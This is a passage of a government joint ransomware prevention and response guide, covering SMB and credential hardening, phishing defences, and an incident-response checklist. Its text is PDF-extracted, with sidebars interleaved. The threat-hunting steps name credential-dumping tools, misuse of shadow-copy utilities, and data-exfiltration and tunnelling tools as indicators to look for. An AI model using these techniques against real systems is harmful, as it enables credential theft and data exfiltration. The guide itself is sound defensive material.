that communications only occur between +systems requiring it. For instance, Windows devices need SMB communications +with domain controllers to get group policy, but most Windows workstations do +not need to access other Windows workstations. +Configure Microsoft Windows and Windows Server systems to require Kerberosbased IP Security (IPsec) for lateral SMB communications to prevent malicious +actors from accessing communications over SMB by detecting systems that are +not members of an organization +s Microsoft Active Directory domains. +Disable the SMB Server service ( +Server +) on Microsoft Windows and Windows +Server devices in instances where there is no need to remotely access files or to +name pipe application programming interfaces (APIs). +For more information guidance, see Microsoft +s Secure SMB Traffic in Windows +Server. +Consider requiring SMB encryption. To guarantee that SMB 3.1.1 clients always use +SMB Encryption, you must disable the SMB 1.0 server. For more information, refer to +Microsoft +s SMB security enhancements | Enable SMB Encryption and Reduced +performance after SMB Encryption or SMB Signing is enabled +If SMB encryption is not enabled, require SMB signing for both SMB client and server on +all systems. This will prevent certain adversary-in-the-middle and pass-the-hash attacks. +TLP:CLEAR +TLP:CLEAR +For more information on SMB signing, refer to Microsoft +s Overview of Server Message +Block Signing. +Require Kerberos authentication by hardening Universal Naming Convention (UNC). +OSs such as Microsoft Windows 10, Windows Server 2016, and later automatically +harden UNC for connections to the Microsoft Active Directory domain via SYSVOL and +NETLOGON shares. Additionally, network administrators can manually configure UNC +hardening for servers and shares in any supported Microsoft Windows operating system. +For more information, refer to Microsoft +s Vulnerability in Group Policy could allow +remote code execution. Using IP addresses to connect to SMB servers will result in the +use of NTLM authentication unless you also configure the use of Kerberos SPNs with IP +addresses, refer to Microsoft +s Configuring Kerberos for IP Address. +Use SMB over QUIC. Microsoft Windows 11, Windows Server 2022 Datacenter: Azure +Edition, and Android clients with a third-party SMB client support use of SMB over QUIC, +an alternative for SMB over TCP. The QUIC protocol is always Transport Layer Security +(TLS) 1.3 encrypted and uses certificate authentication to encapsulate all SMB traffic +including SMB +s own authentication +inside a VPN-like transport. SMB over QUIC +allows mobile users to safely connect over the public internet to edge SMB resources, +such as servers at the edge of organizational networks not completely behind a firewall, +but also works on internal networks that require the highest SMB transport security. For +more information, refer to Microsoft +s SMB over QUIC. +Log and monitor SMB traffic [CPG 2.T] to help flag potentially abnormal, harmful +behaviors. +Initial Access Vector: Compromised Credentials +Implement phishing-resistant MFA for all services, particularly for email, VPNs, and +accounts that access critical systems [CPG 2.H]. Escalate to senior management upon +discovery of systems that do not allow MFA, systems that do not enforce MFA, and any users +who are not enrolled with MFA. +Consider employing password-less MFA that replace passwords with two or more +verification factors (e.g., a fingerprint, facial recognition, device pin, or a cryptographic +key). +Consider subscribing to credential monitoring services that monitor the dark web for +compromised credentials. +Implement identity and access management (IAM) systems to provide administrators with +the tools and technologies to monitor and manage roles and access privileges of individual +network entities for on-premises and cloud applications. +Implement zero trust access control by creating strong access policies to restrict user to +resource access and resource-to-resource access. This is important for key management +resources in the cloud. +Change default admin usernames and passwords [CPG 2.A]. +Do not use root access accounts for day-to-day operations. Create users, groups, and +roles to carry out tasks. +Page | 9 +TLP:CLEAR +TLP:CLEAR +Implement password policies that require unique passwords of at least 15 characters. +[CPG 2.B] [CPG 2.C]. +Enforce account lockout policies after a certain number of failed login attempts. Log and +monitor login attempts for brute force password cracking and password spraying [CPG 2.G]. +Store passwords in a secured database and use strong hashing algorithms. +Disable saving passwords to the browser in the Group Policy Management console. +Implement Local Administrator Password Solution (LAPS) where possible if your OS is +older than Windows Server 2019 and Windows 10 as these versions do not have LAPS built in. +Note: The authoring organizations recommend organizations upgrade to Windows Server 2019 +and Windows 10 or greater. +Protect against Local Security Authority Subsystem Service (LSASS) dumping: +Password managers can help you develop and manage secure passwords. Secure and +limit access to any password managers in use and enable all security features available +on the product in use, such as MFA. +Implement the Attack Surface Reduction (ASR) rule for LSASS. +Implement Credential Guard for Windows 10 and Server 2016. Refer to Microsoft +Manage Windows Defender Credential Guard for more information. For Windows Server +2012R2, enable Protected Process Light (PPL) for Local Security Authority (LSA). +Educate all employees on proper password security in your annual security training to +include emphasizing not reusing passwords and not saving passwords in local files. +Use Windows PowerShell Remoting, Remote Credential Guard, or RDP with restricted +Admin Mode as feasible when establishing a remote connection to avoid direct exposure of +credentials. +Separate administrator accounts from user accounts [CPG 2.E]. Only allow designated +admin accounts to be used for admin purposes. If an individual user needs administrative rights +over their workstation, use a separate account that does not have administrative access to other +hosts, such as servers. For some cloud environments, separate duties when the account used +to provision/manage keys does not have permission to use the keys and vice versa. As this +strategy introduces additional management overhead, it is not appropriate in all environments. +Initial Access Vector: Phishing +Implement a cybersecurity user awareness and +CISA offers a no-cost Phishing +training program that includes guidance on how to +Campaign Assessment and other +identify and report suspicious activity (e.g., phishing) or +no-cost assessments. Visit +incidents [CPG 2.I]. +cisa.gov/cyber-resource-hub. +Implement flagging external emails in email clients. +Implement filters at the email gateway to filter out +emails with known malicious indicators, such as known malicious subject lines, and block +suspicious Internet Protocol (IP) addresses at the firewall [CPG 2.M]. +Page | 10 +TLP:CLEAR +TLP:CLEAR +Enable common attachment filters to restrict file types that commonly contain malware +and should not be sent by email. For more information, refer to Microsoft +s post Anti-malware +protection in EOP. +Review file types in your filter list at least semi-annually and add additional file types that +have become attack vectors. For example, OneNote attachments with embedded +malware have recently been used in phishing campaigns. +Malware is often compressed in password protected archives that evade antivirus +scanning and email filters. +Implement Domain-based Message Authentication, Reporting and Conformance +(DMARC) policy and verification to lower +Malicious Domain Blocking and Reporting +the chance of spoofed or modified emails +(MDBR) is a no-cost service for SLTT +from valid domains. DMARC protects your +organizations that is funded by CISA, the +domain from being spoofed but does not +MS-ISAC, and the EI-ISAC. This fully +protect from incoming emails that have been +managed security service prevents IT +spoofed unless the sending domain also +systems from connecting to harmful web +implements DMARC. DMARC builds on the +domains and protects against cyber threats, +widely deployed Sender Policy Framework +including: +(SPF) and Domain Keys Identified Mail +(DKIM) protocols, adding a reporting function + Malware, +that allows senders and receivers to improve +and monitor protection of the domain from + Ransomware, and +fraudulent email. For more information on + Phishing. +DMARC, refer to CISA Insights Enhance +Email & Web Security and the Center for +To sign up for MDBR, visit cisecurity.org/msInternet Security +s blog How DMARC +isac/services/mdbr/. +Advances Email Security. +Ensure macro scripts are disabled for Microsoft Office files transmitted via email. These +macros can be used to deliver ransomware [CPG 2.N]. Note: Recent versions of Office are +configured by default to block files that contain Visual Basic for Applications (VBA) macros and +display a Trust Bar with a warning that macros are present and have been disabled. For more +information, refer to Microsoft +s Macros from the internet will be blocked by default in Office. +See Microsoft +s Block macros from running in Office files from the Internet for configuration +instructions to disable macros in external files for earlier versions of Office. +Disable Windows Script Host (WSH). Windows script hosting provides an environment in +which users can execute scripts or perform tasks. +Page | 11 +TLP:CLEAR +TLP:CLEAR +Initial Access Vector: Precursor Malware Infection +Use automatic updates for your antivirus +and anti-malware software and +signatures. Ensure tools are properly +configured to escalate warnings and +indicators to notify security personnel. The +authoring organizations recommend using a +centrally managed antivirus solution. This +enables detection of both +precursor +malware and ransomware. +A ransomware infection may be +evidence of a previous, unresolved +network compromise. For example, many ransomware infections are the result of +existing malware infections, such as QakBot, Bumblebee, and Emotet. +In some cases, ransomware deployment is the last step in a network compromise and is +dropped to obscure previous post-compromise activities, such as business email +compromise (BEC). +Use application allowlisting and/or endpoint detection and response (EDR) solutions on +all assets to ensure that only authorized software is executable and all unauthorized software is +blocked. +For Windows, enable Windows Defender Application Control (WDAC), AppLocker, or +both on all systems that support these features. +CISA and MS-ISAC encourage SLTT +organizations to use Albert IDS to enhance a +defense-in-depth strategy. Albert serves as +an early warning capability for U.S. SLTT +governments and supports nationwide +cybersecurity situational awareness and +defense. For more information regarding +Albert, visit cisecurity.org/services/albertnetwork-monitoring/. +WDAC is under continuous development while AppLocker will only receive +security fixes. AppLocker can be used as a complement to WDAC, when WDAC +is set to the most restrictive level possible, and AppLocker is used to fine-tune +restrictions for your organization. +Use allowlisting rather than attempting to list and deny every possible permutation of +applications in a network environment. +Consider implementing EDR for cloud-based resources. +Consider implementing an intrusion detection system (IDS) to detect command and control +activity and other potentially malicious network activity that occurs prior to ransomware +deployment. +o Ensure that the IDS is centrally monitored and managed. Properly configure the tools +and route warnings and indicators to the appropriate personnel for action. +Monitor indicators of activity and block malware file creation with the Windows Sysmon +utility. As of Sysmon 14, the FileBlockExecutable option can be used to block the creation +of malicious executables, Dynamic Link Library (DLL) files, and system files that match specific +hash values. +Page | 12 +TLP:CLEAR +TLP:CLEAR +Initial Access Vector: Advanced Forms of +Social Engineering +Create policies to include +cybersecurity awareness training +about advanced forms of social +engineering for personnel that have +access to your network. Training should +include tips on being able to recognize +illegitimate websites and search results. It +is also important to repeat security +awareness training regularly to keep your +staff informed and vigilant. +Implement Protective Domain Name +System (DNS). By blocking malicious +internet activity at the source, Protective +DNS services can provide high network +security for remote workers. These +security services analyze DNS queries +and take action to mitigate threats +such +as malware, ransomware, phishing +attacks, viruses, malicious sites, and +spyware +leveraging the existing DNS +protocol and architecture. SLTT +s can +implement the no-cost MDBR service. +See NSA +s and CISA +s Selecting a +Protective DNS Service. +Consider implementing sandboxed +browsers to protect systems from +malware originating from web browsing. +Sandboxed browsers isolate the host +machine from malicious code. +Advanced forms of social engineering include: + Search Engine Optimization (SEO) poisoning, +also known as search poisoning: When +malicious actors create malicious websites and +use SEO tactics to make them show up +prominently in search results. SEO poisoning +hijacks the search engine results of popular +websites and injects malicious links to boost +their placement in search results. These links +then lead unsuspecting users to phishing sites, +malware downloads, and other cyber threats. + Drive-by-downloads (imposter websites): +When a user unintentionally downloads +malicious code by visiting a seemingly +legitimate website that is malicious. Malicious +actors use drive-by downloads to steal and +collect personal information, inject trojans, or +introduce exploit kits or other malware to +endpoints. Users may visit these sites by +responding to a phishing email or by clicking +on a deceptive pop-up window. +Malvertising +: Malicious advertising that +cybercriminals use to inject malware to users +computers when they visit malicious websites +or click an online advertisement. Malvertising +may also direct users to a corrupted website +where their data can be stolen, or malware can +be downloaded onto their computer. +Malvertising can appear anywhere, even at +sites you visit as part of your everyday web +browsing. + Impersonating employees: Ransomware actors +have posed as company IT and/or helpdesk +staff in phone calls or SMS messages to obtain +credentials from employees and gain access to +the network. +Page | 13 +TLP:CLEAR +TLP:CLEAR +Initial Access Vector: Third Parties and Managed Service Providers +Consider the risk management +and cyber hygiene practices of +third parties or managed service +providers (MSPs) your +organization relies on to meet its +mission. MSPs have been an +infection vector for ransomware +impacting numerous client +organizations [CPG 1.I]. +Malicious actors may exploit the trusted relationships +your organization has with third parties and MSPs. + Malicious actors may target MSPs with the goal of +compromising MSP client organizations; they may +use MSP network connections and access to +client organizations as a key vector to propagate +malware and ransomware. + Malicious actors may spoof the identity of +or use +If a third party or MSP is +compromised email accounts associated with +responsible for maintaining +entities your organization has a trusted +and securing your +relationship with to phish your users, enabling +organization +s backups, +network compromise and disclosure of +ensure they are following +information. +the applicable best +practices outlined above. +Use contract language to formalize your security requirements as a best practice. +Ensure the use of least privilege and separation of duties when setting up the access of +third parties. Third parties and MSPs should only have access to devices and servers that are +within their role or responsibilities. +Consider creating service control policies (SCP) for cloud-based resources to prevent +users or roles, organization wide, from being able to access specific services or take +specific actions within services. For example, the SCP can be used to restrict users from +being able to delete logs, update virtual private cloud (VPC) configurations, and change log +configurations. +General Best Practices and Hardening Guidance +Ensure your organization has a comprehensive asset management approach [CPG 1.A]. +Page | 14 +Understand and take inventory of your +Tip: To facilitate asset tracking, +organization +s IT assets, logical (e.g., data, +use MS-ISAC +s Hardware and +software) and physical (e.g., hardware). +Software Asset Tracking +Know which data or systems are most critical for +Spreadsheet. +health and safety, revenue generation, or other +critical services, and understand any associated +interdependencies (e.g., +system list + used to perform + is stored in critical asset +). This will aid your organization in determining restoration priorities should an +incident occur. Apply more comprehensive security controls or safeguards to critical +assets. This requires organization-wide coordination. +Ensure you store your IT asset documentation securely and keep offline backups and +physical hard copies on site. +TLP:CLEAR +TLP:CLEAR +Apply the principle of least privilege to all systems and services so that users only have +the access they need to perform their jobs [CPG 2.E]. Malicious actors often leverage privileged +accounts for network-wide ransomware attacks. +Ensure that all hypervisors and associated IT infrastructure, including network and +storage components, are updated and hardened. Emerging ransomware strategies have +begun targeting VMware ESXi servers, hypervisors, and other centralized tools and systems, +which enables fast encryption of the infrastructure at scale. For more information about +ransomware resilience and hardening of VMware and other virtualization infrastructure, see: +Restrict user permissions to install and run software applications. +Restrict user/role permissions to access or modify cloud-based resources. +Limit actions that can be taken on customer-managed keys by certain users/roles. +Block local accounts from remote access by using group policy to restrict network sign-in +by local accounts. For guidance, refer to Microsoft +s Blocking Remote Use of Local +Accounts and Security identifiers. +Use Windows Defender Remote Credential Guard and restricted admin mode for RDP +sessions. +Remove unnecessary accounts and groups and restrict root access. +Control and limit local administration. +Audit Active Directory (AD) for excessive privileges on accounts and group +memberships. +Make use of the Protected Users AD group in Windows domains to further secure +privileged user accounts against pass-the-hash attacks. +Audit user and admin accounts for inactive or unauthorized accounts quarterly. Prioritize +review of remote monitoring and management accounts that are publicly accessible +this includes audits of third-party access given to MSPs. +NIST Special Publication (SP 800-125A Rev.1): Security Recommendations for Serverbased Hypervisor Platforms +VMware: Cloud Infrastructure Security Configuration & Hardening +Leverage best practices and enable security settings in association with cloud +environments, such as Microsoft Office 365. +Page | 15 +Review the shared responsibility model for cloud and ensure you understand what +makes up customer responsibility when it comes to asset protection. +Backup data often; offline or leverage cloud-to-cloud backups. +Enable logging on all resources and set alerts for abnormal usages. +Enable delete protection or object lock on storage resources often targeted in +ransomware attacks (e.g., object storage, database storage, file storage, and block +storage) to prevent data from being deleted or overwritten, respectively. +Consider enabling version control to keep multiple variants of objects in storage. This +allows for easier recovery from unintended or malicious actions. +TLP:CLEAR +TLP:CLEAR +Where supported, when using custom programmatic access to the cloud, use signed +application programming interface (API) requests to verify the identity of the requester, +protect data in transit, and protect against other attacks such as replay attacks. +For more information, refer to CISA Cybersecurity Advisory Microsoft Office 365 Security +Recommendations. +Mitigate the malicious use of remote access and remote monitoring and management +(RMM) software: +Audit remote access tools on your network to identify current or authorized RMM +software. +Review logs for execution of RMM software to detect abnormal use, or RMM software +running as a portable executable. +Use security software to detect instances of RMM software only being loaded in +memory. +Require authorized RMM solutions only be used from within your network over approved +remote access solutions, such as VPNs or virtual desktop interfaces (VDIs). +Block both inbound and outbound connections on common RMM ports and protocols at +the network perimeter. +Employ logical or physical means of network segmentation by implementing ZTA and +separating various business units or departmental IT resources within your organization and +maintain separation between IT and operational technology [CPG 2.F]. Network segmentation +can help contain the impact of any intrusion affecting your organization and prevent or limit +lateral movement on the part of malicious actors. Organizations should use due diligence when +segmenting networks and ensure network security policies are in place and adhered to because +segmentation can be rendered ineffective if it is breached through user error or non-adherence +to policies (e.g., connecting removable storage media or other devices to multiple segments). +Develop and regularly update comprehensive network diagram(s) that describes systems +and data flows within your organization +s network(s) (see Figure 1) [CPG 2.P]. This is +useful in steady state and can help incident responders understand where to focus their efforts. +See Figure 2 and Figure 3 for depictions of a flat (unsegmented) network and of a best practice +segmented network. +Page | 16 +The diagram should include depictions of major networks, any specific IP addressing +schemes, and the general network topology including network connections, +interdependencies, and access granted to third parties, MSPs, and cloud connections +from external and internal endpoints. +Ensure you securely store network documentation and keep offline backups and hard +copies on site. +TLP:CLEAR +TLP:CLEAR +Figure 1: Example Network Diagram +Page | 17 +TLP:CLEAR +TLP:CLEAR +Figure 2: Flat (Unsegmented) Network +Figure 3: Segmented Network +Restrict usage of PowerShell to specific users on a case-by-case basis by using Group +Policy. Typically, only users or administrators who manage a network or Windows OS are +permitted to use PowerShell. PowerShell is a cross-platform, command-line, shell, and scripting +language that is a component of Microsoft Windows. Threat actors use PowerShell to deploy +ransomware and hide their malicious activities. For more information, refer to the joint +Cybersecurity Information Sheet Keeping PowerShell: Security Measure to Use and Embrace. +Update Windows PowerShell or PowerShell Core to the latest version and uninstall all +earlier PowerShell versions. +Ensure PowerShell instances, using the most current version, have module, script block, +and transcription logging enabled (enhanced logging). +Page | 18 +Logs from Windows PowerShell prior to version 5.0 are either non-existent or do +not record enough detail to aid in enterprise monitoring and incident response +activities. +PowerShell logs contain valuable data, including historical OS and registry +interaction and possible tactics, techniques, and procedures of a threat actor +PowerShell use. +Two logs that record PowerShell activity are the +PowerShell Windows Event + log +and the +PowerShell Operational + log. The authoring organizations recommend +turning on these two Windows Event Logs with a retention period of at least 180 +days. +These logs should be checked on a regular basis to confirm whether the log data +has been deleted or logging has been turned off. Set the storage size permitted +for both logs to as large as possible. +TLP:CLEAR +TLP:CLEAR +Secure domain controllers (DCs). Malicious actors often target and use DCs as a staging +point to spread ransomware network wide. To secure DCs: +Use the latest version of Windows Server supported by your organization on DCs. +Newer versions of Windows Server OS have more security features, including for Active +Directory, integrated. For guidance on configuring available security features refer to +Microsoft +s Best Practices for Securing Active Directory. +Ensure that DCs are regularly patched. Apply patches for critical vulnerabilities as soon +as possible. +Use open-source penetration testing tools, such as BloodHound or PingCastle, to verify +domain controller security. +Ensure that minimal software or agents are installed on DCs because these can be +leveraged to run arbitrary code on the system. +Restrict access to DCs to the Administrators group. Users within this group should be +limited and have separate accounts used for day-to-day operations with nonadministrative permissions. For more information, refer to Microsoft +s Securing Active +Directory Administrative Groups and Accounts. +The designated admin accounts should only be used for admin purposes. Ensure +that checking emails, web browsing, or other high-risk activities are not +performed on DCs. +Configure DC host firewalls to prevent internet access. Usually, DCs do not need direct +internet access. Servers with internet connectivity can be used to pull necessary +updates in lieu of allowing internet access for DCs. +Implement a privileged access management (PAM) solution on DCs to assist in +managing and monitoring privileged access. PAM solutions can also log and alert usage +to detect unusual activity. +Consider disabling or limiting NTLM and WDigest Authentication, if possible. Include +their use as criteria for prioritizing upgrading legacy systems or for segmenting the +network. Instead use modern federation protocols (e.g., SAML, OIDC or Kerberos) for +authentication with AES-256 bit +encryptionhttps://cisa.gov/sites/default/files/publications/2022_00092_CISA_CPG_Repo +rt_508c.pdf. If NTLM must be enabled: +Page | 19 +The authoring organizations recommend using Windows Server 2019 or greater +and Windows 10 or greater as they have security features, such as LSASS +protections with Windows Credential Guard, Windows Defender, and +Antimalware Scan Interface (AMSI), not included in older operating system +Enable Extended Protection for Authentication (EPA) to prevent some NTLMrelay attacks. For more information, refer to Microsoft Mitigating NTLM Relay +Attacks on Active Directory Certificate Services (AD CS). +Enable NTLM auditing to ensure that only NTLMv2 responses are sent across +the network. Measures should be taken to ensure that LM and NTLM responses +are refused, if possible. +TLP:CLEAR +TLP:CLEAR +Enable additional protections for LSA Authentication to prevent code injection capable of +acquiring credentials from the system. Prior to enabling these protections, run audits +against lsass.exe to ensure an understanding of the programs that will be affected by +the enabling of this protection. +Retain and adequately secure logs from network devices, local hosts, and cloud +services. This supports triage and remediation of cybersecurity events. Logs can be analyzed +to determine the impact of events and ascertain if an incident has occurred [CPG 2.T]. +o Set up centralized log management using a security information and event management +tool [CPG 2.U]. This enables an organization to correlate logs from both network and +host security devices. By reviewing logs from multiple sources, an organization can +triage an individual event and determine its impact to the organization. +o Maintain and back up logs for critical systems for a minimum of one year, if possible. +Establish a security baseline of normal network traffic and tune network appliances to +detect anomalous behavior. Tune host-based products to detect anomalous binaries, lateral +movement, and persistence techniques. +o Consider using business transaction logging +such as logging activity related to specific +or critical applications +for behavioral analytics. +Conduct regular assessments to ensure processes and procedures are up to date and can be +followed by security staff and end users. +Enable tracking prevention to limit the vectors that ad networks and trackers can use to track +user information. +Enable website typo protection to limit the possibility of logging onto spoofed websites or +other potential malicious links that could compromise a browser. +Enable browser-based AV for active scanning while browsing as an added layer of defense. +Block website notifications by default to limit site +s ability to track user data that can be +exploited. +Page | 20 +TLP:CLEAR +TLP:CLEAR +Part 2: Ransomware and Data Extortion Response Checklist +Should your organization be a victim of +ransomware, follow your approved IRP. The +authoring organizations strongly recommend +responding by using the following checklist. +Be sure to move through the first three +steps in sequence. +Detection and Analysis +Refer to the best practices and references +below to help manage the risk posed by +ransomware and support your organization +coordinated and efficient response to a +ransomware incident. Apply these practices +to the greatest extent possible based on +availability of organizational resources. +The authoring organizations do not recommend +paying ransom. Paying ransom will not ensure your +data is decrypted, that your systems or data will no +longer be compromised, or that your data will not be +leaked. +Additionally, paying ransoms may pose sanctions +risks. For information on potential sanctions risks, +see U.S. Department of the Treasury Office of +Foreign Assets Control (OFAC) memorandum from +September 2021, Updated Advisory on Potential +Sanctions Risks for Facilitating Ransomware +Payments. The updated advisory states that +Treasury +s Office of Foreign Assets Control (OFAC) +would consider 'mitigating factors' in related +enforcement actions. Contact your local FBI field +office, in consultation with OFAC, for guidance on +mitigating penalty factors after an attack. + 1. Determine which systems were +impacted, and immediately isolate +them. + If several systems or subnets +appear impacted, take the network offline at the switch level. It may not be feasible to +disconnect individual systems during an incident. + Prioritize isolating critical systems that are essential to daily operations. + If taking the network temporarily offline is not immediately possible, locate the network +cable (e.g., ethernet) and unplug affected devices from the network or remove them +from Wi-Fi to contain the infection. + For cloud resources, take a snapshot of volumes to get a point in time copy for reviewing +later for forensic investigation. + After an initial compromise, malicious actors may monitor your organization +s activity or +communications to understand if their actions have been detected. Isolate systems in a +coordinated manner and use out-of-band communication methods such as phone calls +to avoid tipping off actors that they have been discovered and that mitigation actions are +being undertaken. Not doing so could cause actors to move laterally to preserve their +access or deploy ransomware widely prior to networks being taken offline. + 2. Power down devices if you are unable to disconnect them from the network to avoid +further spread of the ransomware infection. +Note: This step will prevent your organization from maintaining ransomware infection artifacts +and potential evidence stored in volatile memory. It should be carried out only if it is not +possible to temporarily shut down the network or disconnect affected hosts from the +network using other means. +Page | 21 +TLP:CLEAR +TLP:CLEAR + 3. Triage impacted systems for restoration and recovery. + Identify and prioritize critical systems for restoration on a clean network and confirm the +nature of data housed on impacted systems. +Prioritize restoration and recovery based on a predefined critical asset list that +includes information systems critical for health and safety, revenue generation, or +other critical services, as well as systems they depend on. +Keep track of systems and devices that are not perceived to be impacted so they can be +deprioritized for restoration and recovery. This enables your organization to get back to +business in a more efficient manner. + 4. Examine existing organizational detection or prevention systems (e.g., antivirus, EDR, +IDS, Intrusion Prevention System) and logs. Doing so can highlight evidence of additional +systems or malware involved in earlier stages of the attack. + Look for evidence of precursor +dropper + malware, such as Bumblebee, Dridex, Emotet, +QakBot, or Anchor. A ransomware event may be evidence of a previous, unresolved +network compromise. +Operators of these advanced malware variants will often sell access to a +network. Malicious actors will sometimes use this access to exfiltrate data and +then threaten to release the data publicly before ransoming the network to further +extort the victim and pressure them into paying. +Malicious actors often drop ransomware variants to obscure post-compromise +activity. Care must be taken to identify such dropper malware before rebuilding +from backups to prevent continuing compromises. + 5. Confer with your team to develop and document an initial understanding of what has +occurred based on initial analysis. + 6. Initiate threat hunting activities. + For enterprise environments, check for: +Page | 22 +Newly created AD accounts or accounts with escalated privileges and recent +activity related to privileged accounts such as Domain Admins. +Anomalous VPN device logins or other suspicious logins. +Endpoint modifications that may impair backups, shadow copy, disk journaling, +or boot configurations. Look for anomalous usage of built-in Windows tools such +as bcdedit.exe, fsutil.exe (deletejournal), vssadmin.exe, wbadmin.exe, +and wmic.exe (shadowcopy or shadowstorage). Misuse of these tools is a +common ransomware technique to inhibit system recovery. +Signs of the presence of Cobalt Strike beacon/client. Cobalt Strike is a +commercial penetration testing software suite. Malicious actors often name +Cobalt Strike Windows processes with the same names as legitimate Windows +processes to obfuscate their presence and complicate investigations. +TLP:CLEAR +TLP:CLEAR +Signs of any unexpected usage of remote monitoring and management (RMM) +software (including portable executables that are not installed). RMM software is +commonly used by malicious actors to maintain persistence. +Any unexpected PowerShell execution or use of PsTools suite. +Signs of enumeration of AD and/or LSASS credentials being dumped (e.g., +Mimikatz, Sysinternals ProcDump, or NTDSutil.exe). +Signs of unexpected endpoint-to-endpoint (including servers) communications, +for example, Address Resolution Protocol (ARP) poisoning of an endpoint or +command and control traffic relayed between endpoints. +Potential signs of data being exfiltrated from the network, which may include: +Newly created services, unexpected scheduled tasks, unexpected software +installed, unusual files created, legitimate processes with unexpected child +processes, etc. +For cloud environments: +Page | 23 +Abnormal amount of data outgoing over any port. Open source software +can tunnel data over various ports and protocols. For example, +ransomware actors have used Chisel to tunnel Secure Shell (SSH) over +HTTPS port 443. Ransomware actors have also used Cloudflared to +abuse Cloudflare tunnels to tunnel communications over HTTPS. +Presence of Rclone, Rsync, and various web-based file storage services, +and FTP/SFTP, which are common tools for data exfiltration (and also +used by threat actors to implant malware/tools on affected networks.) +Enable tools to detect and prevent modifications to IAM, network security, and +data protection resources. +Use automation to detect common issues (e.g., disabling features, introduction of +new firewall rules) and take automated actions as soon as they occur. For +example, if a new firewall rule is created that allows open traffic (0.0.0.0/0), an +automated action can be taken to disable or delete this rule and send +notifications to the user that created it as well as the security team for +awareness. This will help avoid alert fatigue and allow security personnel to +focus on critical issues. +TLP:CLEAR +TLP:CLEAR +Reporting and Notification +Note: Refer to the Contact Information +section at the end of this guide for details on +how to report and notify about ransomware +incidents. +If extended identification or analysis is needed, CISA, MSISAC and local, state, or federal law enforcement may be +interested in any of the following information that your +organization determines it can legally share: + 7. Follow notification requirements as + Recovered executable file. +outlined in your cyber incident + Copies of the readme file + DO NOT REMOVE the +response and communications plan +file or decryption may not be possible. +to engage internal and external + Live memory (RAM) capture from systems with +teams and stakeholders with an +additional signs of compromise (use of exploit +understanding of what they can +toolkits, RDP activity, additional files found locally). +provide to help you mitigate, respond +to, and recover from the incident. + Images of infected systems with additional signs of + Share the information you +compromise (use of exploit toolkits, RDP activity, +have at your disposal to +additional files found locally). +receive timely and relevant + Malware samples. +assistance. Keep +management and senior + Names of malware identified on your network. +leaders informed via regular + Encrypted file samples. +updates as the situation +develops. Relevant + Log files (e.g., Windows event logs from +compromised systems, firewall logs). +stakeholders may include +your IT department, managed + PowerShell scripts found having executed on the +security service providers, +network. +cyber insurance company, + User accounts created in AD or machines added to +and departmental or elected +the network during the exploitation. +leaders [CPG 4.A]. + Report the incident to + Email addresses used by the attackers and any +consider requesting +associated phishing emails. +assistance from +CISA, your + Other communication accounts used by the +local FBI field office, the FBI +attackers. +Internet Crime Complaint +Center (IC3), or your local + A copy of the ransom note. +U.S. Secret Service field + Ransom amount and if the ransom was paid. +office. + As appropriate, coordinate + Bitcoin wallets used by the attackers. +with communications and + Bitcoin wallets used to pay the ransom, if applicable. +public information personnel +to ensure accurate + Copies of any communications with attackers. +information is shared +internally with your organization and externally with the public. + 8. If the incident resulted in a data breach, follow notification requirements as outlined in +your cyber incident response and communications plans. +Page | 24 +TLP:CLEAR +TLP:CLEAR +Containment and Eradication +If no initial mitigation actions appear possible: + 9. Take a system image and memory +Upon voluntary request, CISA and MS-ISAC +capture of a sample of affected devices +(for SLTT organizations) can assist with +(e.g., workstations, servers, virtual +analysis of phishing emails, storage media, +servers, and cloud servers). Collect any +logs, and/or malware at no cost to help +relevant logs as well as samples of any +organizations understand the root cause of +precursor + malware binaries and associated +an incident. +observables or indicators of compromise +(e.g., suspected command and control IP + CISA + Advanced Malware Analysis +addresses, suspicious registry entries, or +Center: malware.us-cert.gov/ +other relevant files detected). The contacts + MS-ISAC + Malicious Code Analysis +below may be able to assist you in +Platform (SLTT organizations only): +performing these tasks. +cisecurity.org/spotlight/cybersecurity + Preserve evidence that is highly +spotlight-malware-analysis/ +volatile in nature +or limited in +retention +to prevent loss or +tampering (e.g., system memory, +Windows Security logs, data in firewall log buffers). + 10. Consult federal law enforcement, even if mitigation actions are possible, regarding +possible decryptors available, as security researchers may have discovered encryption flaws +for some ransomware variants and released decryption or other types of tools. +To continue taking steps to contain and mitigate the incident: + 11. Research trusted guidance (e.g., published by sources such as the U.S. Government, +MS-ISAC, or a reputable security vendor) for the particular ransomware variant and follow any +additional recommended steps to identify and contain systems or networks that are confirmed to +be impacted. + Kill or disable the execution of known ransomware binaries; this will minimize damage +and impact to your systems. Delete other known associated registry values and files. + 12. Identify the systems and accounts involved in the initial breach. This can include email +accounts. + 13. Based on the breach or compromise details determined above, contain associated +systems that may be used for further or continued unauthorized access. Breaches often +involve mass credential exfiltration. Securing networks and other information sources from +continued credential-based unauthorized access may include: + Disable virtual private networks, remote access servers, single sign-on resources, and +cloud-based or other public-facing assets. +Page | 25 +TLP:CLEAR +TLP:CLEAR + 14. If server-side data is being encrypted by an infected workstation, follow server-side data +encryption quick identification steps. + Review Computer Management > Sessions and Open Files lists on associated servers +to determine the user or system accessing those files. + Review file properties of encrypted files or ransom notes to identify specific users that +may be associated with file ownership. + Review the TerminalServices-RemoteConnectionManager event log to check for +successful RDP network connections. + Review the Windows Security log, SMB event logs, and related logs that may identify +significant authentication or access events. + Run packet capture software, such as Wireshark, on the impacted server with a filter to +identify IP addresses involved in actively writing or renaming files (e.g., smb2.filename +contains cryptxxx). + 15. Conduct extended analysis to identify outside-in and inside-out persistence +mechanisms. + Outside-in persistence may include authenticated access to external systems via rogue +accounts, backdoors on perimeter systems, exploitation of external vulnerabilities, etc. + Inside-out persistence may include malware implants on the internal network or a variety +of living-off-the-land style modifications (e.g., use of commercial penetration testing tools +like Cobalt Strike; use of PsTools suite, including PsExec, to remotely install and control +malware and gather information regarding +or perform remote management of +Windows systems; use of PowerShell scripts). + Identification may involve deployment of EDR solutions, audits of local and domain +accounts, examination of data found in centralized logging systems, or deeper forensic +analysis of specific systems once movement within the environment has been mapped +out. + 16. Rebuild systems based on prioritization of critical services (e.g., health and safety or +revenue-generating services), using pre-configured standard images, if possible. Use +infrastructure as code templates to rebuild cloud resources. + 17. Issue password resets for all affected systems and address any associated +vulnerabilities and gaps in security or visibility once the environment has been fully cleaned +and rebuilt, including any associated impacted accounts and the removal or remediation of +malicious persistence mechanisms. This can include applying patches, upgrading software, and +taking other security precautions not previously taken. Update customer-managed encryption +keys as needed. + 18. The designated IT or IT security authority declares the ransomware incident over +based on established criteria, which may include taking the steps above or seeking outside +assistance. +Page | 26 +TLP:CLEAR +TLP:CLEAR 